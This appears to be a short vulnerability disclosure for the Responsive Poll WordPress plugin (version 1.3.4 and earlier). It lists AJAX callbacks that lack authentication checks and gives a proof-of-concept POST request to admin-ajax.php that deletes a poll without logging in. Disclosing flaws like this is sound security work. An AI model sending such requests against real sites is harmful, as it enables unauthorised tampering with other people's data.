Created
April 10, 2020 15:14
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Broken Authentication in Responsive Poll Wordpress Plugin <=1.3.4
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An attacker can call following functions as an unauthenticated user. | |
TotalSoftPoll_Clone_Callback | |
TotalSoftPoll_Del_Callback | |
TotalSoftPoll_Edit_Callback | |
TotalSoftPoll_Edit_Q_M_Callback | |
TotalSoftPoll_Edit_Ans_Callback | |
TotalSoftPoll_Theme_Clone_Callback | |
TotalSoftPoll_Theme_Edit_Callback | |
TotalSoftPoll_Theme_Edit1_Callback | |
TotalSoftPoll_1_Vote_Callback | |
TotalSoftPoll_1_Results_Callback | |
TotalSoftPoll_Clone_Set_Callback | |
TotalSoftPoll_Edit_Set_Callback | |
TotalSoftPoll_Del_Set_Callback | |
TS_PTable_New_MTable_DisMiss_Callback_Pol0l | |
TS_Poll_Question_DisMiss_Callback | |
Total_Soft_Poll_Prev_Callback | |
Following POC demonstrates that an attacker can send following POST request to | |
``` | |
POST /wp-admin/admin-ajax.php HTTP/1.1 | |
Host: test.com | |
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0 | |
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 | |
Accept-Language: en-US,en;q=0.5 | |
Accept-Encoding: gzip, deflate | |
Connection: close | |
Upgrade-Insecure-Requests: 1 | |
Content-Type: application/x-www-form-urlencoded | |
Content-Length: 38 | |
action=TotalSoftPoll_Del&foobar=3 | |
``` | |
Just like this POST request, all of the above mentioned components can be called as an unauthenticated user. |
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